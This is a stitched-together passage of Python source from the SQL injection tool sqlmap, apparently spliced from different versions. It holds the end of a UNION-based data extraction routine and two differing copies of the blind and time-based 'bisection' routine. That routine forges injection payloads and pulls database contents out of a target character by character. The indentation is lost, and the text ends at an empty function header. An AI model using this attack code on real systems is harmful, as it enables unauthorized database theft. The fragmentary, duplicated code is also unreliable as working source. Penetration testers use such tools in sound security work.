kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
value.decode("base64")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def bisection(payload,
expression,
length=None,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
abortedFlag = False
showEta = False
partialValue = u""
finalValue = None
retrievedLength = 0
if payload is None:
return 0, None
if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else:
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (kb.technique
in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(
partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal and not conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(
partialValue)
logger.info(infoMsg)
else:
infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
if conf.predictOutput:
kb.partRun = getPartRun()
elif conf.api:
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
firstChar = len(partialValue)
elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (
isinstance(conf.firstChar, int) or
(isinstance(conf.firstChar, basestring)
and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
if kb.fileReadMode:
firstChar <<= 1
elif isinstance(firstChar,
basestring) and firstChar.isdigit() or isinstance(
firstChar, int):
firstChar = int(firstChar) - 1
else:
firstChar = 0
if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(
conf.lastChar, int) or (isinstance(conf.lastChar, basestring)
and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif isinstance(lastChar,
basestring) and lastChar.isdigit() or isinstance(
lastChar, int):
lastChar = int(lastChar)
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr,
nulledCastedField, 1)
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
expressionUnescaped = unescaper.escape(expression)
if isinstance(length, basestring) and length.isdigit() or isinstance(
length, int):
length = int(length)
else:
length = None
if length == 0:
return 0, ""
if length and (lastChar > 0 or firstChar > 0):
length = min(length, lastChar or length) - firstChar
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length) or 1
if showEta:
progress = ProgressBar(maxValue=length)
if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare or conf.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads,
("s" if numThreads > 1
else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta and not conf.api:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" %
(time.strftime("%X"),
"_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if payload is not None and hintValue is not None and len(
hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS,
DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
forgedPayload = agent.extractPayload(payload)
forgedPayload = safeStringFormat(
forgedPayload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, posValue))
result = Request.queryPage(agent.replacePayload(
payload, forgedPayload),
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = None
return None
def validateChar(idx, value):
"""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
"""
validationPayload = re.sub(
r"(%s.*?)%s(.*?%s)" %
(PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER),
r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(
validationPayload, (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(
"'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(
validationPayload, (expressionUnescaped, idx)).replace(
markingValue, unescapedCharValue)
result = not Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
if result and timeBasedCompare and kb.injection.data[
kb.technique].trueCode:
result = threadData.lastCode == kb.injection.data[
kb.technique].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (
threadData.lastCode,
kb.injection.data[kb.technique].trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(kb.technique)
return result
def getChar(idx,
charTbl=None,
continuousOrder=True,
expand=charsetType is None,
shiftTable=None,
retried=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = type(asciiTbl)(asciiTbl)
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 5, 4]
if "'%s'" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
if continuousOrder:
while len(charTbl) > 1:
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [
_ for _ in threadData.shared.value
if _ is not None
][-1]
except IndexError:
lastChar = None
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') -
1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') -
1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') -
1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(
payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(
payload,
(expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(
"'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(
payload, (expressionUnescaped, idx)).replace(
markingValue, unescapedCharValue)
falsePayload = safeStringFormat(
payload, (expressionUnescaped, idx)).replace(
markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
result = Request.queryPage(
forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (
kb.injection.data[kb.technique].falseCode,
kb.injection.data[kb.technique].trueCode)
if unexpectedCode:
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
if not isinstance(charTbl, xrange):
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position],
charTbl[-1] + 1)
else:
maxValue = posValue
if not isinstance(charTbl, xrange):
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(
maxChar + 1,
(maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (
retVal == ord('\n')
and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode
) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
if retried < MAX_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s" % (
conf.timeSec, 's' if
conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl,
continuousOrder, expand,
shiftTable,
(retried or 0) + 1)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
else:
candidates = list(originalTbl)
bit = 0
while len(candidates) > 1:
bits = {}
for candidate in candidates:
bit = 0
while candidate:
bits.setdefault(bit, 0)
bits[bit] += 1 if candidate & 1 else -1
candidate >>= 1
bit += 1
choice = sorted(bits.items(),
key=lambda _: abs(_[1]))[0][0]
mask = 1 << choice
forgedPayload = safeStringFormat(
payload.replace(
INFERENCE_GREATER_CHAR,
"&%d%s" % (mask, INFERENCE_GREATER_CHAR)),
(expressionUnescaped, idx, 0))
result = Request.queryPage(
forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if result:
candidates = [_ for _ in candidates if _ & mask > 0]
else:
candidates = [_ for _ in candidates if _ & mask == 0]
bit += 1
if candidates:
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, candidates[0]))
result = Request.queryPage(
forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(candidates[0])
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [
firstChar
] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.index:
if threadData.shared.index[0] - firstChar >= length:
return
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
if kb.threadContinue:
val = getChar(
currentCharIndex, asciiTbl,
not (charsetType is None and conf.charset))
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[currentCharIndex - 1 -
firstChar] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
progress.progress(threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex,
endCharIndex + 1):
output += '_' if currentValue[
i] is None else filterControlChars(
currentValue[i] if len(
currentValue[i]) == 1 else ' ',
replacement=' ')
for i in xrange(length):
count += 1 if currentValue[
i] is not None else 0
if startCharIndex > 0:
output = ".." + output[2:]
if (endCharIndex - startCharIndex
== conf.progressWidth) and (
endCharIndex < length - 1):
output = output[:-2] + ".."
if conf.verbose in (
1, 2) and not showEta and not conf.api:
_ = count - firstChar
output += '_' * (
min(length, conf.progressWidth) -
len(output))
status = ' %d/%d (%d%%)' % (
_, length, int(100.0 * _ / length))
output += status if _ != length else " " * len(
status)
dataToStdout(
"\r[%s] [INFO] retrieved: %s" %
(time.strftime("%X"), output))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (
time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (
1, 2) and not showEta and infoMsg and not conf.api:
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
threadData.shared.value = ""
while True:
index += 1
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(
partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.escape(
"'%s'" % commonValue
) if "'" not in commonValue else unescaper.escape(
"%s" % commonValue, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(
query.replace(
INFERENCE_MARKER, "(%s)%s%s" %
(expressionUnescaped, INFERENCE_EQUALS_CHAR,
testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(
agent.payload(newValue=query),
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
progress.progress(len(commonValue))
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(
filterControlChars(commonValue[index -
1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms(
)].substring.query % (expressionUnescaped, 1,
len(commonPattern))
testValue = unescaper.escape(
"'%s'" % commonPattern
) if "'" not in commonPattern else unescaper.escape(
"%s" % commonPattern, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(
query.replace(INFERENCE_MARKER,
"(%s)=%s" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(
agent.payload(newValue=query),
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset,
otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl,
not (charsetType is None and conf.charset))
if val is None:
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(index)
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[
-INFERENCE_BLANK_BREAK:].isspace(
) and partialValue.strip(' ')[-1:] != '\n':
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
if (lastChar > 0 and index >= lastChar):
finalValue = "" if length == 0 else partialValue
finalValue = finalValue.rstrip(
) if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
kb.stickyLevel = None
retrievedLength = len(finalValue or "")
if finalValue is not None:
finalValue = decodeHexValue(
finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(
expression,
"%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else
PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not abortedFlag and not conf.api:
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime(
"%X"), filterControlChars(finalValue), " " * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not showEta and not conf.api:
dataToStdout("\n")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise SqlmapThreadException(
"something unexpected happened inside the threads")
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(
kb.technique), safecharencode(_) if kb.safeCharEncode else _
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = u""
finalValue = None
abortedFlag = False
asciiTbl = getCharset(charsetType)
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal:
partialValue = retVal
dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), safecharencode(partialValue)))
else:
dataToStdout("[%s] [INFO] resumed: %s\r\n" % (time.strftime("%X"), safecharencode(retVal)))
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb.partRun = getPartRun() if conf.predictOutput else None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
if length and isinstance(length, basestring) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
if lastChar > 0 and length > ( lastChar - firstChar ):
length = lastChar - firstChar
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if timeBasedCompare and conf.threads > 1:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx-1]
else:
posValue = ord(hintValue[idx-1])
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx-1]
with hintlock:
kb.hintValue = None
return None
def validateChar(idx, value):
"""
Used in time-based inference (in case that original and retrieved
value are not equal there will be a deliberate delay).
"""
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
return not result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = list(asciiTbl)
originalTbl = list(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [5, 4]
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
charTbl.remove(ord('\n'))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
if CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.unescape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,128*16-1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = list(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if timeBasedCompare and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
kb.timeValidCharsRun = 0
if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = False
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
kb.timeValidCharsRun += 1
if not kb.adjustTimeDelay and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = True
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
# If we are working with non-continuous elements, set
# both minValue and character afterwards are possible
# candidates
for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(retVal)
return None
def etaProgressUpdate(charTime, index):
